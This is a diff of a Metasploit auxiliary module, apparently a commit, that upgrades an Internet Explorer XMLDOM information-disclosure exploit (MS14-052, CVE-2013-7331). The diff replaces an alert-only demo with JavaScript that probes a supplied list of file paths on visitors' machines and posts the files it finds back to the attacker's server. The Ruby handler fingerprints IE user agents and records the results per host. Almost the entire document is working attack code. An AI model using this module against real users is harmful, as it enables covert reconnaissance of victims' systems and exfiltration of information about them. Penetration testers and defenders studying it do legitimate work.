@@ -11,37 +11,54 @@ class Metasploit3 < Msf::Auxiliary
11
11
12
12
def initialize ( info = { } )
13
13
super ( update_info ( info ,
14
- 'Name' => "Microsoft Internet Explorer XMLDOM File Disclosure" ,
14
+ 'Name' => "MS14-052 Microsoft Internet Explorer XMLDOM Information Disclosure" ,
15
15
'Description' => %q{
16
- This module will use an XMLDOM object to leak a remote user's filename
16
+ This module will use the Microsoft XMLDOM object to enumerate a remote user's filenames.
17
+ To use it, you must supply your own list of file paths. Each file's format should look like this:
18
+ c:\\\\windows\\\\system32\\\\calc.exe
17
19
} ,
18
20
'License' => MSF_LICENSE ,
19
21
'Author' => [ 'sinn3r' ] ,
20
22
'References' =>
21
23
[
22
- [ 'URL' , 'http://metasploit.com' ]
24
+ [ 'CVE' , '2013-7331' ] ,
25
+ [ 'URL' , 'https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/' ] ,
26
+ [ 'URL' , 'https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi' ]
23
27
] ,
24
28
'Platform' => 'win' ,
25
29
'Targets' =>
26
30
[
27
- [ 'Generic ' , { } ] ,
31
+ [ 'Internet Explorer ' , { } ] ,
28
32
] ,
29
- 'DisclosureDate' => "Apr 1 2013" ,
33
+ 'DisclosureDate' => "Sep 9 2014" , # MSB. Used in the wild since Feb 2014
30
34
'DefaultTarget' => 0 ) )
35
+
36
+ register_options (
37
+ [
38
+ OptPath . new ( 'FILES' , [ true , 'A list of files to enumerate. One absolute file path per line.' ] )
39
+ ] , self . class
40
+ )
31
41
end
32
42
33
43
def js
44
+ target_files = parse_target_files
45
+ js_target_files = target_files * ','
46
+
34
47
%Q|
48
+ #{ js_base64 }
35
49
#{ js_ie_addons_detect }
50
+ #{ js_ajax_post }
51
+
52
+ var foundFileString = "";
36
53
37
54
window.onload = function() {
38
- var files = ['c:\\ \\ windows\\ \\ system32\\ \\ calc.exe'];
55
+ //var files = ['c:\\ \\ windows\\ \\ system32\\ \\ calc.exe'];
56
+ var files = [#{ js_target_files } ];
39
57
var foundFiles = ie_addons_detect.checkFiles(files);
40
- if (foundFiles.length > 0) {
41
- alert(foundFiles);
42
- } else {
43
- alert("nothing found");
58
+ for (var file in foundFiles) {
59
+ foundFileString += foundFiles[file] + "\| ";
44
60
}
61
+ postInfo("#{ get_resource } /receiver/", foundFileString, true);
45
62
};
46
63
|
47
64
end
@@ -64,8 +81,55 @@ def run
64
81
exploit
65
82
end
66
83
67
- def on_request_uri ( cli , request )
68
- send_response ( cli , html )
84
+ def parse_found_files ( cli , req )
85
+ return if req . body . blank?
86
+
87
+ files = req . body . split ( '|' )
88
+ unless files . empty?
89
+ print_good ( "We have detected the following files:" )
90
+ files . each do |f |
91
+ report_note ( host : cli . peerhost , type : 'ie.filenames' , data : f )
92
+ print_good ( f )
93
+ end
94
+ end
95
+ end
96
+
97
+ def parse_target_files
98
+ @files ||= lambda {
99
+ files = [ ]
100
+ buf = ::File . open ( datastore [ 'FILES' ] , 'rb' ) { |f | buf = f . read }
101
+ buf . each_line do |line |
102
+ if line =~ /^[a-z]:\\ \\ .+/i
103
+ files << "'#{ line . strip } '"
104
+ end
105
+ end
106
+
107
+ return files
108
+ } . call
109
+ end
110
+
111
+ def is_target_suitable? ( user_agent )
112
+ info = fingerprint_user_agent ( user_agent )
113
+ if info [ :ua_name ] == HttpClients ::IE
114
+ return true
115
+ end
116
+
117
+ false
118
+ end
119
+
120
+ def on_request_uri ( cli , req )
121
+ unless is_target_suitable? ( req . headers [ 'User-Agent' ] )
122
+ send_not_found ( cli )
123
+ return
124
+ end
125
+
126
+ case req . uri
127
+ when /receiver/
128
+ parse_found_files ( cli , req )
129
+ else
130
+ print_status ( "Sending HTML." )
131
+ send_response ( cli , html )
132
+ end
69
133
end
70
134
71
135
end
0 commit comments